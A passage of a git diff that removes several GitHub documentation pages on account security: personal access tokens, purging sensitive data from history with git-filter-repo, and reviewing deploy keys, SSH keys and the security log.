selected organization requires it and you do not already have an active session.{% endif %} -1. Optionally, if the resource owner is an organization that requires approval for {% data variables.product.pat_v2 %}s, below the resource owner, in the box, enter a justification for the request. -1. Under **Repository access**, select which repositories you want the token to access. You should choose the minimal repository access that meets your needs. Tokens always include read-only access to all public repositories on {% data variables.product.prodname_dotcom %}. -1. If you selected **Only select repositories** in the previous step, under the **Selected repositories** dropdown, select the repositories that you want the token to access. -1. Under **Permissions**, select which permissions to grant the token. Depending on which resource owner and which repository access you specified, there are repository, organization, and account permissions. You should choose the minimal permissions necessary for your needs. - - The REST API reference document for each endpoint states whether the endpoint works with {% data variables.product.pat_v2 %}s and states what permissions are required in order for the token to use the endpoint. Some endpoints may require multiple permissions, and some endpoints may require one of multiple permissions. For an overview of which REST API endpoints a {% data variables.product.pat_v2 %} can access with each permission, see [AUTOTITLE](/rest/overview/permissions-required-for-fine-grained-personal-access-tokens). - -1. Click **Generate token**. - -If you selected an organization as the resource owner and the organization requires approval for {% data variables.product.pat_v2 %}s, then your token will be marked as `pending` until it is reviewed by an organization administrator. Your token will only be able to read public resources until it is approved. If you are an owner of the organization, your request is automatically approved. For more information, see [AUTOTITLE](/organizations/managing-programmatic-access-to-your-organization/reviewing-and-revoking-personal-access-tokens-in-your-organization). - -## Creating a {% data variables.product.pat_v1 %} - -> [!NOTE] -> Organization owners can restrict the access of {% data variables.product.pat_v1 %} to their organization. If you try to use a {% data variables.product.pat_v1 %} to access resources in an organization that has disabled {% data variables.product.pat_v1 %} access, your request will fail with a 403 response. Instead, you must use a {% data variables.product.prodname_github_app %}, {% data variables.product.prodname_oauth_app %}, or {% data variables.product.pat_v2 %}. - -> [!WARNING] -> Your {% data variables.product.pat_v1 %} can access every repository that you can access. {% data variables.product.company_short %} recommends that you use {% data variables.product.pat_v2 %}s instead, which you can restrict to specific repositories. {% data variables.product.pat_v2_caps %}s also enable you to specify fine-grained permissions instead of broad scopes. - -{% ifversion fpt or ghec %}1. [Verify your email address](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/verifying-your-email-address), if it hasn't been verified yet.{% endif %} -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.developer_settings %} -1. In the left sidebar, under **{% octicon "key" aria-hidden="true" %} {% data variables.product.pat_generic_caps %}s**, click **Tokens (classic)**. -1. Select **Generate new token**, then click **Generate new token (classic)**. -1. In the "Note" field, give your token a descriptive name. -1. To give your token an expiration, select **Expiration**, then choose a default option or click **Custom** to enter a date. -1. Select the scopes you'd like to grant this token. To use your token to access repositories from the command line, select **repo**. A token with no assigned scopes can only access public information. For more information, see [AUTOTITLE](/apps/oauth-apps/building-oauth-apps/scopes-for-oauth-apps#available-scopes). -1. Click **Generate token**. -1. Optionally, to copy the new token to your clipboard, click {% octicon "copy" aria-label="Copy token" %}. - - {% ifversion ghes %}![Screenshot of the "{% data variables.product.pat_generic_caps_plural %}" page. Next to a blurred-out token, an icon of two overlapping squares is outlined in orange.](/assets/images/help/settings/personal-access-tokens-ghes.png){% else %}![Screenshot of the "{% data variables.product.pat_generic_caps_plural %}" page. Next to a blurred-out token, an icon of two overlapping squares is outlined in orange.](/assets/images/help/settings/personal-access-tokens.png){% endif %}{% ifversion fpt or ghec %} -1. To use your token to access resources owned by an organization that uses SAML single sign-on, authorize the token. For more information, see [AUTOTITLE](/enterprise-cloud@latest/authentication/authenticating-with-saml-single-sign-on/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on){% ifversion fpt %} in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}.{% endif %}{% endif %} - -## Deleting a {% data variables.product.pat_generic %} - -You should delete a {% data variables.product.pat_generic %} if it is no longer needed. If you delete a {% data variables.product.pat_generic %} that was used to create a deploy key, the deploy key will also be deleted. - -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.developer_settings %} -1. In the left sidebar, under **{% octicon "key" aria-hidden="true" %} {% data variables.product.pat_generic_caps %}s**, click either **Fine-grained tokens** or **Tokens (classic)**, depending on which type of {% data variables.product.pat_generic %} you'd like to delete. -1. To the right of the {% data variables.product.pat_generic %} you want to delete, click **Delete**. - -## Using a {% data variables.product.pat_generic %} on the command line - -Once you have a {% data variables.product.pat_generic %}, you can enter it instead of your password when performing Git operations over HTTPS. - -For example, to clone a repository on the command line you would enter the following `git clone` command. You would then be prompted to enter your username and password. When prompted for your password, enter your {% data variables.product.pat_generic %} instead of a password. - -```shell -$ git clone https://{% data variables.product.product_url %}/USERNAME/REPO.git -Username: YOUR-USERNAME -Password: YOUR-PERSONAL-ACCESS-TOKEN -``` - -{% data variables.product.pat_generic_caps %}s can only be used for HTTPS Git operations. If your repository uses an SSH remote URL, you will need to [switch the remote from SSH to HTTPS](/get-started/git-basics/managing-remote-repositories#switching-remote-urls-from-ssh-to-https). - -If you are not prompted for your username and password, your credentials may be cached on your computer. You can [update your credentials in the Keychain](/get-started/git-basics/updating-credentials-from-the-macos-keychain) to replace your old password with the token. - -Instead of manually entering your {% data variables.product.pat_generic %} for every HTTPS Git operation, you can cache your {% data variables.product.pat_generic %} with a Git client. Git will temporarily store your credentials in memory until an expiry interval has passed. You can also store the token in a plain text file that Git can read before every request. For more information, see [AUTOTITLE](/get-started/git-basics/caching-your-github-credentials-in-git). - -## Further reading - -* [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/about-authentication-to-github) -* [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/token-expiration-and-revocation) diff --git a/content/authentication/keeping-your-account-and-data-secure/preventing-unauthorized-access.md b/content/authentication/keeping-your-account-and-data-secure/preventing-unauthorized-access.md deleted file mode 100644 index 23fbb2d59e71..000000000000 --- a/content/authentication/keeping-your-account-and-data-secure/preventing-unauthorized-access.md +++ /dev/null @@ -1,32 +0,0 @@ ---- -title: Preventing unauthorized access -intro: 'You may be alerted to a security incident in the media, such as the discovery of the [Heartbleed bug](http://heartbleed.com/), or your computer could be stolen while you''re signed in to {% data variables.product.prodname_dotcom %}. In such cases, changing your password prevents any unintended future access to your account and projects.' -redirect_from: - - /articles/preventing-unauthorized-access - - /github/authenticating-to-github/preventing-unauthorized-access - - /github/authenticating-to-github/keeping-your-account-and-data-secure/preventing-unauthorized-access -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Identity - - Access management -shortTitle: Unauthorized access ---- -{% data variables.product.github %} requires a password to perform sensitive actions, such as adding new SSH keys, authorizing applications, or modifying team members. - -After changing your password, you should perform these actions to make sure that your account is secure: - -* Enable two-factor authentication on your account so that access requires more than just a password. For more information, see [AUTOTITLE](/authentication/securing-your-account-with-two-factor-authentication-2fa/about-two-factor-authentication). -{%- ifversion passkeys %} -* Add a passkey to your account to enable a secure, passwordless login. Passkeys are phishing-resistant, and they don't require memorization or active management. See [AUTOTITLE](/authentication/authenticating-with-a-passkey/about-passkeys).{% endif %} -* Review your SSH keys, deploy keys, and authorized OAuth apps and GitHub Apps and revoke unauthorized or unfamiliar access in your SSH and Applications settings. For more information, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/reviewing-your-ssh-keys), [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/reviewing-your-deploy-keys), [AUTOTITLE](/apps/oauth-apps/using-oauth-apps/reviewing-your-authorized-oauth-apps), and [AUTOTITLE](/apps/using-github-apps/reviewing-your-authorized-integrations). -{% ifversion fpt or ghec %} -* Verify all your email addresses. If an attacker added their email address to your account, it could allow them to force an unintended password reset. For more information, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/verifying-your-email-address). -{% endif %} -* Review your account's security log. This provides an overview on various configurations made to your repositories. For example, you can ensure that no private repositories were turned public, or that no repositories were transferred. For more information, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/reviewing-your-security-log). -* Review the webhooks on your repositories. Webhooks could allow an attacker to intercept pushes made to your repository. For more information, see [AUTOTITLE](/get-started/exploring-integrations/about-webhooks). -* Make sure that no new deploy keys were created. This could enable outside servers access to your projects. For more information, see [AUTOTITLE](/authentication/connecting-to-github-with-ssh/managing-deploy-keys#deploy-keys). -* Review recent commits made to your repositories. -* Review the list of collaborators for each repository. diff --git a/content/authentication/keeping-your-account-and-data-secure/removing-sensitive-data-from-a-repository.md b/content/authentication/keeping-your-account-and-data-secure/removing-sensitive-data-from-a-repository.md deleted file mode 100644 index e98606b18d99..000000000000 --- a/content/authentication/keeping-your-account-and-data-secure/removing-sensitive-data-from-a-repository.md +++ /dev/null @@ -1,214 +0,0 @@ ---- -title: Removing sensitive data from a repository -intro: 'Sensitive data can be removed from the history of a repository _if_ you can carefully coordinate with everyone who has cloned it and you are willing to manage the side effects.' -redirect_from: - - /remove-sensitive-data - - /removing-sensitive-data - - /articles/remove-sensitive-data - - /articles/removing-sensitive-data-from-a-repository - - /github/authenticating-to-github/removing-sensitive-data-from-a-repository - - /github/authenticating-to-github/keeping-your-account-and-data-secure/removing-sensitive-data-from-a-repository -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Identity - - Access management -shortTitle: Remove sensitive data ---- - -## About removing sensitive data from a repository - -When altering your repository's history using tools like `git-filter-repo`, it's crucial to understand the implications. Rewriting history requires careful coordination with collaborators to successfully execute, and has a number of side effects that must be managed. - -It is important to note that if the sensitive data you need to remove is a secret (e.g. password/token/credential), as is often the case, then as a first step you need to revoke and/or rotate that secret. Once the secret is revoked or rotated, it can no longer be used for access, and that may be sufficient to solve your problem. Going through the extra steps to rewrite the history and remove the secret may not be warranted. - -## Side effects of rewriting history - -There are numerous side effects to rewriting history; these include: - - * **High risk of recontamination**: It is unfortunately easy to re-push the sensitive data to the repository and make a bigger mess. If a fellow developer has a clone from before your rewrite, and after your rewrite simply runs `git pull` followed by `git push`, the sensitive data will return. They need to either discard their clone and re-clone, or carefully walk through multiple steps to clean up their clone first. - * **Risk of losing other developers' work**: If other developers continue updating branches which contain the sensitive data while you are trying to clean up, you will be forced to either redo the cleanup, or to discard their work. - * **Changed commit hashes**: Rewriting history will change the hashes of the commits that introduced the sensitive data _and_ all commits that came after. Any tooling or automation that depends on commit hashes not changing will be broken or have problems. - * **Branch protection challenges**: If you have any branch protections that prevent force pushes, those protections will have to be turned off (at least temporarily) for the sensitive data to be removed. - * **Broken diff view for closed pull requests**: Removing the sensitive data will require removing the internal references used for displaying the diff view in pull requests, so you will no longer be able to see these diffs. This is true not only for the PR that introduced the sensitive data, but any PR that builds on a version of history after the sensitive data PR was merged (even if those later PRs didn't add or modify any file with sensitive data). - * **Poor interaction with open pull requests**: Changed commit SHAs will result in a different PR diff, and comments on the old PR diff may become invalidated and lost, which may cause confusion for authors and reviewers. We recommend merging or closing all open pull requests before removing files from your repository. - * **Lost signatures on commits and tags**: Signatures for commits or tags depend on commit hashes; since commit hashes are modified by history rewrites, signatures would no longer be valid and many history rewriting tools (including `git-filter-repo`) will simply remove the signatures. In fact, `git-filter-repo` will remove commit signatures and tag signatures for commits that pre-date the sensitive data removal as well. (Technically one can workaround this with the `--refs` option to `git-filter-repo` if needed, but then you will need to be careful to ensure you specify all refs that have sensitive data in their history and that include the commits that introduced the sensitive data in your range). - * **Leading others directly to the sensitive data**: Git was designed with cryptographic checks built into commit identifiers so that nefarious individuals could not break into a server and modify history without being noticed. That's helpful from a security perspective, but from a sensitive data perspective it means that expunging sensitive data is a very involved process of coordination; it further means that when you do modify history, clueful users with an existing clone will notice the history divergence and can use it to quickly and easily find the sensitive data still in their clone that you removed from the central repository. - -## About sensitive data exposure - -Removing sensitive data from a repository involves four high-level steps: - - * Rewrite the repository locally, using git-filter-repo - * Update the repository on GitHub, using your locally rewritten history - * Coordinate with colleagues to clean up other clones that exist - * Prevent repeats and avoid future sensitive data spills - -If you only rewrite your history and force push it, the commits with sensitive data may still be accessible elsewhere: - -* In any clones or forks of your repository -* Directly via their SHA-1 hashes in cached views on {% data variables.product.github %} -* Through any pull requests that reference them - -You cannot remove sensitive data from other users' clones of your repository; you will have to send them the instructions from [Make sure other copies are cleaned up: clones of colleagues](https://htmlpreview.github.io/?https://github.com/newren/git-filter-repo/blob/docs/html/git-filter-repo.html#_make_sure_other_copies_are_cleaned_up_clones_of_colleagues) in the `git-filter-repo` manual to have them do so themselves. However, you can permanently remove cached views and references to the sensitive data in pull requests on {% data variables.product.github %} by contacting {% data variables.contact.contact_support %}. - -{% ifversion fpt or ghec %} - -> [!IMPORTANT] {% data variables.contact.github_support %} won't remove non-sensitive data, and will only assist in the removal of sensitive data in cases where we determine that the risk can't be mitigated by rotating affected credentials. - -{% endif %} - -If the commit that introduced the sensitive data exists in any forks, it will continue to be accessible there. You will need to coordinate with the owners of the forks, asking them to remove the sensitive data or delete the fork entirely. {% ifversion fpt or ghec %}{% data variables.product.company_short %} cannot provide contact information for these owners. {% endif %} - -Consider these limitations and challenges in your decision to rewrite your repository's history. - -## Purging a file from your local repository's history using git-filter-repo - -1. Install the latest release of [the `git-filter-repo` tool](https://github.com/newren/git-filter-repo). You need a version with the `--sensitive-data-removal` flag, meaning at least version 2.47. You can install `git-filter-repo` manually or by using a package manager. For example, to install the tool with HomeBrew, use the `brew install` command. - - ```shell - brew install git-filter-repo - ``` - - For more information, see [_INSTALL.md_](https://github.com/newren/git-filter-repo/blob/main/INSTALL.md) in the `newren/git-filter-repo` repository. - -1. Clone the repository to your local computer. See [AUTOTITLE](/repositories/creating-and-managing-repositories/cloning-a-repository). - - ```shell - git clone https://{% data variables.product.product_url %}/YOUR-USERNAME/YOUR-REPOSITORY - ``` - -1. Navigate into the repository's working directory. - - ```shell - cd YOUR-REPOSITORY - ``` - -1. Run a `git-filter-repo` command to clean up the sensitive data. - - If you want to delete a specific file from all branches/tags/refs, run the following command replacing `PATH-TO-YOUR-FILE-WITH-SENSITIVE-DATA` with the **git path to the file you want to remove, not just its filename** (e.g. `src/module/phone-numbers.txt`): - - ```shell - git-filter-repo --sensitive-data-removal --invert-paths --path PATH-TO-YOUR-FILE-WITH-SENSITIVE-DATA - ``` - - > [!IMPORTANT] If the file with sensitive data used to exist at any other paths (because it was moved or renamed), you must either add an extra `--path` argument for that file, or run this command a second time naming the alternative path. - - If you want to replace all text listed in `../passwords.txt` from any non-binary files found anywhere in your repository's history, run the following command: - - ```shell - git-filter-repo --sensitive-data-removal --replace-text ../passwords.txt - ``` - -1. Double-check that you've removed everything you wanted to from your repository's history. - -1. Find out how many pull requests will be adversely affected by this history rewrite. You will need this information below. - - ```shell - $ grep -c '^refs/pull/.*/head$' .git/filter-repo/changed-refs - 4 - ``` - - You can drop the `-c` to see which pull requests are affected: - - ```shell - $ grep '^refs/pull/.*/head$' .git/filter-repo/changed-refs - refs/pull/589/head - refs/pull/602/head - refs/pull/604/head - refs/pull/605/head - ``` - - This output includes the pull request number between the second and third slashes. If the [number of pull requests affected is larger than you expected](https://github.com/newren/git-filter-repo/blob/main/Documentation/FAQ.md#why-did-git-filter-repo-rewrite-more-commit-hashes-than-i-expected), you can discard this clone with no ill-effects and either redo the rewrite or abandon the sensitive data removal. Once you move on to the next step, the rewrite becomes irreversible. - -1. Once you're happy with the state of your repository, force-push your local changes to overwrite your repository on {% data variables.location.product_location %}. Even though `--force` is implied by `--mirror`, we include it below as a reminder that you are forcibly updating all branches, tags, and refs and you are discarding any changes others may have made to those refs while you were cleaning up the repository. - - ```shell - git push --force --mirror origin - ``` - - This command will fail to push any refs starting with `refs/pull/`, since {% data variables.product.github %} marks those as read-only. Those push failures will be handled in the next section. If any other refs fail to push, you likely have branch protection turned on for that branch and will need to turn it off temporarily and redo the push. Repeat until the only failures to update are refs starting with `refs/pull/`. - -## Fully removing the data from {% data variables.product.github %} - -After using `git-filter-repo` to remove the sensitive data and pushing your changes to {% data variables.product.github %}, you must take a few more steps to fully remove the data from {% data variables.product.github %}. - -1. Contact {% data variables.contact.contact_support %}, and provide the following information: - - * The owner and repository name in question (e.g. YOUR-USERNAME/YOUR-REPOSITORY). - * The number of affected pull requests, found in the previous step. This is used by Support to verify you understand how much will be affected. - * The First Changed Commit(s) reported by `git-filter-repo` (Look for `NOTE: First Changed Commit(s)` in its output.) - * If `NOTE: There were LFS Objects Orphaned by this rewrite` appears in the git-filter-repo output (right after the First Changed Commit), then mention you had LFS Objects Orphaned and upload the named file to the ticket as well. - - If you have successfully cleaned up all references other than PRs, and no forks have references to the sensitive data, Support will then: - - * Dereference or delete any affected PRs on {% data variables.product.github %}. - * Run a garbage collection on the server to expunge the sensitive data from storage. - * Remove cached views. - * If LFS Objects are involved, delete and/or purge the orphaned LFS objects. - - {% ifversion ghes %}For more information about how site administrators can remove unreachable Git objects, see [AUTOTITLE](/admin/configuration/configuring-your-enterprise/command-line-utilities#ghe-repo-gc). For more information about how site administrators can identify reachable commits, see [Identifying reachable commits](#identifying-reachable-commits).{% endif %}{% ifversion fpt or ghec %} - >[!IMPORTANT] {% data variables.contact.github_support %} won't remove non-sensitive data, and will only assist in the removal of sensitive data in cases where we determine that the risk can't be mitigated by rotating affected credentials.{% endif %} - -1. Collaborators must [rebase](https://git-scm.com/book/en/v2/Git-Branching-Rebasing), _not_ merge, any branches they created off of your old (tainted) repository history. One merge commit could reintroduce some or all of the tainted history that you just went to the trouble of purging. They may need to take additional steps as well; see [Make sure other copies are cleaned up: clones of colleagues](https://htmlpreview.github.io/?https://github.com/newren/git-filter-repo/blob/docs/html/git-filter-repo.html#_make_sure_other_copies_are_cleaned_up_clones_of_colleagues) in the `git-filter-repo` manual. - -{% ifversion ghes %} - -## Identifying reachable commits - -To fully remove unwanted or sensitive data from a repository, the commit that first introduced the data needs to be completely unreferenced in branches, tags, pull requests, and forks. A single reference anywhere will prevent garbage collection from being able to purge the data completely. - -You can check for existing references by using the following commands when connected to the appliance via SSH. You'll need the SHA of the commit that originally introduced the sensitive data. - -```shell -ghe-repo OWNER/REPOSITORY -c 'git ref-contains COMMIT_SHA_NUMBER' -ghe-repo OWNER/REPOSITORY -c 'cd ../network.git && git ref-contains COMMIT_SHA_NUMBER' -``` - -If either of those commands return any results, you'll need to remove those references before the commit can be successfully garbage collected. The second command will identify references that exist in forks of the repository (if the repository has no forks, you may skip running it). - -* Results beginning with `refs/heads/` or `refs/tags/` indicate branches and tags respectively which still contain references to the offending commit, suggesting that the modified repository was not fully cleaned of the commit, or that it was not force-pushed. -* Results beginning with `refs/pull/` or `refs/__gh__/pull` indicate pull requests that reference the offending commit. These pull requests need to be deleted in order to allow the commit to be garbage collected. A pull request can be deleted in the site admin dashboard at `https://HOSTNAME/stafftools/repositories/OWNER/REPOSITORY/PULL_REQUESTS/<PULL-REQUEST-NUMBER>`, replacing `<PULL-REQUEST-NUMBER>` with the pull request number. - -If references are found in any forks, the results will look similar, but will start with `refs/remotes/NWO/`. To identify the fork by name, you can run the following command. - -```shell -ghe-nwo NWO -``` - -The sensitive data can be removed from a repository's forks by going to a clone of one, fetching from the cleaned up repository, then rebasing all branches and tags that contain the sensitive data on top of the relevant branch or tag from the cleaned up repository. Alternatively, the forks can be deleted altogether, and if needed, the repository can be re-forked once the cleanup of the root repository is complete. - -Once you have removed the commit's references, re-run the commands to double-check. - -If there are no results from either of the `ref-contains` commands, you can run garbage collection with the `--prune` flag to remove the unreferenced commits by running the following command. - -```shell -ghe-repo-gc -v --prune OWNER/REPOSITORY -``` - -Once garbage collection has successfully removed the commit, you'll want to browse to the repository's site admin dashboard at `https://HOSTNAME/stafftools/repositories/OWNER/REPOSITORY`, select **Network**, then click **Invalidate Git cache** to remove any cached data. - -{% endif %} - -## Avoiding accidental commits in the future - -Preventing contributors from making accidental commits can help you prevent sensitive information from being exposed. For more information see [AUTOTITLE](/code-security/getting-started/best-practices-for-preventing-data-leaks-in-your-organization). - -There are a few things you can do to avoid committing or pushing things that should not be shared: - -* If the sensitive data is likely to be found in a file that should not be tracked by git, add that filename to `.gitignore` (and make sure to commit and push that change to `.gitignore` so other developers are protected). -* Avoid hardcoding secrets in code. Use environment variables, or secret management services like Azure Key Vault, AWS Secrets Manager, or HashiCorp Vault to manage and inject secrets at runtime. -* Create a pre-commit hook to check for sensitive data before it is committed or pushed anywhere, or use a well-known tool in a pre-commit hook like git-secrets or gitleaks. (Make sure to ask each collaborator to set up the pre-commit hook you have chosen.) -* Use a visual program like [{% data variables.product.prodname_desktop %}](https://desktop.github.com/) or [gitk](https://git-scm.com/docs/gitk) to commit changes. Visual programs generally make it easier to see exactly which files will be added, deleted, and modified with each commit. -* Avoid the catch-all commands `git add .` and `git commit -a` on the command line—use `git add filename` and `git rm filename` to individually stage files, instead. -* Use `git add --interactive` to individually review and stage changes within each file. -* Use `git diff --cached` to review the changes that you have staged for commit. This is the exact diff that `git commit` will produce as long as you don't use the `-a` flag. -* Enable push protection for your repository to detect and prevent pushes which contain hardcoded secrets from being committed to your codebase. For more information, see [AUTOTITLE](/code-security/secret-scanning/introduction/about-push-protection). - -## Further reading - -* [`git-filter-repo` man page](https://htmlpreview.github.io/?https://github.com/newren/git-filter-repo/blob/docs/html/git-filter-repo.html), especially the "Sensitive Data Removal" subsection of the "DISCUSSION" section. -* [Pro Git: Git Tools - Rewriting History](https://git-scm.com/book/en/v2/Git-Tools-Rewriting-History) -* [AUTOTITLE](/code-security/secret-scanning/introduction/about-secret-scanning) diff --git a/content/authentication/keeping-your-account-and-data-secure/reviewing-your-deploy-keys.md b/content/authentication/keeping-your-account-and-data-secure/reviewing-your-deploy-keys.md deleted file mode 100644 index 71be381094e5..000000000000 --- a/content/authentication/keeping-your-account-and-data-secure/reviewing-your-deploy-keys.md +++ /dev/null @@ -1,26 +0,0 @@ ---- -title: Reviewing your deploy keys -intro: You should review deploy keys to ensure that there aren't any unauthorized (or possibly compromised) keys. You can also approve existing deploy keys that are valid. -redirect_from: - - /articles/reviewing-your-deploy-keys - - /github/authenticating-to-github/reviewing-your-deploy-keys - - /github/authenticating-to-github/keeping-your-account-and-data-secure/reviewing-your-deploy-keys -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Identity - - Access management -shortTitle: Deploy keys ---- -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -1. In the "Security" section of the sidebar, click **{% octicon "key" aria-hidden="true" %} Deploy keys**. -1. On the "Deploy keys" page, take note of the deploy keys associated with your account. For those that you don't recognize, or that are out of date, click **Delete**. If there are valid deploy keys you'd like to keep, click **Approve**. - -For more information, see [AUTOTITLE](/authentication/connecting-to-github-with-ssh/managing-deploy-keys). - -## Further reading - -* [Configuring notifications](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications#organization-alerts-notification-options) diff --git a/content/authentication/keeping-your-account-and-data-secure/reviewing-your-security-log.md b/content/authentication/keeping-your-account-and-data-secure/reviewing-your-security-log.md deleted file mode 100644 index b0014fcce8ab..000000000000 --- a/content/authentication/keeping-your-account-and-data-secure/reviewing-your-security-log.md +++ /dev/null @@ -1,71 +0,0 @@ ---- -title: Reviewing your security log -intro: You can review the security log for your personal account to better understand actions you've performed and actions others have performed that involve you. -redirect_from: - - /articles/reviewing-your-security-log - - /github/authenticating-to-github/reviewing-your-security-log - - /github/authenticating-to-github/keeping-your-account-and-data-secure/reviewing-your-security-log -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Identity - - Access management -shortTitle: Review security log ---- - -## Accessing your security log - -The security log lists all actions performed within the last 90 days. - -{% data reusables.user-settings.access_settings %} -1. In the "Archives" section of the sidebar, click **{% octicon "log" aria-hidden="true" %} Security log**. - -## Searching your security log - -{% data reusables.audit_log.audit-log-search %} - -### Search based on the action performed - -The events listed in your security log are triggered by your actions. Actions are grouped into different categories. For the full list of events in each category, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/security-log-events). - -| Category name | Description | -| ------------- | ----------- | -| {% ifversion fpt or ghec %} | -| `billing` | Contains all activities related to your billing information. | -| `codespaces` | Contains all activities related to {% data variables.product.prodname_github_codespaces %}. For more information, see [AUTOTITLE](/codespaces/quickstart). | -| `copilot` | Contains all activities related to {% data variables.product.prodname_copilot_business_short %}. For more information, see [AUTOTITLE](/copilot/about-github-copilot/what-is-github-copilot). | -| `marketplace_agreement_signature` | Contains all activities related to signing the {% data variables.product.prodname_marketplace %} Developer Agreement. | -| `marketplace_listing`| Contains all activities related to listing apps in {% data variables.product.prodname_marketplace %}. | -| {% endif %} | -| `oauth_access` | Contains all activities related to OAuth access tokens. | -| `oauth_authorization` | Contains all activities related to authorizing {% data variables.product.prodname_oauth_apps %}. For more information, see [AUTOTITLE](/apps/oauth-apps/using-oauth-apps/authorizing-oauth-apps). | -| {% ifversion passkeys %} | -| `passkey` | Contains activities related to your passkeys. See [AUTOTITLE](/authentication/authenticating-with-a-passkey/about-passkeys). | -| {% endif %} | -| {% ifversion fpt or ghec %} | -| `payment_method` | Contains all activities related to paying for your {% data variables.product.prodname_dotcom %} subscription. -| {% endif %} | -| `personal_access_token` | Contains activities related to {% data variables.product.pat_v2 %}s. For more information, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token). | -| `profile_picture`| Contains all activities related to your profile picture. | -| `project` | Contains all activities related to {% data variables.projects.projects_v1_boards %}. | -| `public_key` | Contains all activities related to [your public SSH keys](/authentication/connecting-to-github-with-ssh/adding-a-new-ssh-key-to-your-github-account). | -| `repo`| Contains all activities related to the repositories you own. | -| {% ifversion fpt or ghec %} | -| `sponsors` | Contains all events related to {% data variables.product.prodname_sponsors %} and sponsor buttons (see [AUTOTITLE](/sponsors/getting-started-with-github-sponsors/about-github-sponsors) and [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/displaying-a-sponsor-button-in-your-repository)) | -| {% endif %} | -| {% ifversion ghes %} | -| `team` | Contains all activities related to teams you are a part of. | -| {% endif %} | -| `two_factor_authentication` | Contains all activities related to [two-factor authentication](/authentication/securing-your-account-with-two-factor-authentication-2fa). | -| `user` | Contains all activities related to your account. | - -{% ifversion fpt or ghec %} - -## Exporting your security log - -{% data reusables.audit_log.export-log %} -{% data reusables.audit_log.exported-log-keys-and-values %} - -{% endif %} diff --git a/content/authentication/keeping-your-account-and-data-secure/reviewing-your-ssh-keys.md b/content/authentication/keeping-your-account-and-data-secure/reviewing-your-ssh-keys.md deleted file mode 100644 index e3777f1d867c..000000000000 --- a/content/authentication/keeping-your-account-and-data-secure/reviewing-your-ssh-keys.md +++ /dev/null @@ -1,97 +0,0 @@ ---- -title: Reviewing your SSH keys -intro: 'To keep your credentials secure, you should regularly audit your SSH keys, deploy keys, and review authorized applications that access your account.' -redirect_from: - - /articles/keeping-your-application-access-tokens-safe - - /articles/keeping-your-ssh-keys-and-application-access-tokens-safe - - /articles/reviewing-your-ssh-keys - - /github/authenticating-to-github/reviewing-your-ssh-keys - - /github/authenticating-to-github/keeping-your-account-and-data-secure/reviewing-your-ssh-keys -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Identity - - Access management ---- -You can delete unauthorized (or possibly compromised) SSH keys to ensure that an attacker no longer has access to your repositories. You can also approve existing SSH keys that are valid. - -{% mac %} - -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.ssh %} -1. Under "SSH keys", take note of the SSH keys associated with your account. For those that you don't recognize, or that are out-of-date, click **Delete**. If there are valid SSH keys you'd like to keep, click **Approve**. - - > [!NOTE] - > If you're auditing your SSH keys due to an unsuccessful Git operation, the unverified key that caused the [SSH key audit error](/articles/error-we-re-doing-an-ssh-key-audit) will be highlighted in the list of SSH keys. - -1. Open Terminal. - -{% data reusables.command_line.start_ssh_agent %} - -1. Find and take a note of your public key fingerprint. - - ```shell - $ ssh-add -l -E sha256 - > 2048 SHA256:274ffWxgaxq/tSINAykStUL7XWyRNcRTlcST1Ei7gBQ /Users/USERNAME/.ssh/id_rsa (RSA) - ``` - -1. The SSH keys on {% data variables.product.github %} _should_ match the same keys on your computer. - -{% endmac %} - -{% windows %} - -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.ssh %} -1. Under "SSH keys", take note of the SSH keys associated with your account. For those that you don't recognize, or that are out-of-date, click **Delete**. If there are valid SSH keys you'd like to keep, click **Approve**. - - > [!NOTE] - > If you're auditing your SSH keys due to an unsuccessful Git operation, the unverified key that caused the [SSH key audit error](/articles/error-we-re-doing-an-ssh-key-audit) will be highlighted in the list of SSH keys. - -1. Open Git Bash. - -1. {% data reusables.desktop.windows_git_bash_turn_on_ssh_agent %} - - {% data reusables.desktop.windows_git_for_windows_turn_on_ssh_agent %} - - {% indented_data_reference reusables.desktop.note-start-ssh-agent spaces=3 %} - -1. Find and take a note of your public key fingerprint. - - ```shell - $ ssh-add -l -E sha256 - > 2048 SHA256:274ffWxgaxq/tSINAykStUL7XWyRNcRTlcST1Ei7gBQ /Users/USERNAME/.ssh/id_rsa (RSA) - ``` - -1. The SSH keys on {% data variables.product.github %} _should_ match the same keys on your computer. - -{% endwindows %} - -{% linux %} - -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.ssh %} -1. Under "SSH keys", take note of the SSH keys associated with your account. For those that you don't recognize, or that are out-of-date, click **Delete**. If there are valid SSH keys you'd like to keep, click **Approve**. - - > [!NOTE] - > If you're auditing your SSH keys due to an unsuccessful Git operation, the unverified key that caused the [SSH key audit error](/articles/error-we-re-doing-an-ssh-key-audit) will be highlighted in the list of SSH keys. - -1. Open Terminal. - -{% data reusables.command_line.start_ssh_agent %} - -1. Find and take a note of your public key fingerprint. - - ```shell - $ ssh-add -l -E sha256 - > 2048 SHA256:274ffWxgaxq/tSINAykStUL7XWyRNcRTlcST1Ei7gBQ /Users/USERNAME/.ssh/id_rsa (RSA) - ``` - -1. The SSH keys on {% data variables.product.github %} _should_ match the same keys on your computer. - -{% endlinux %} - -> 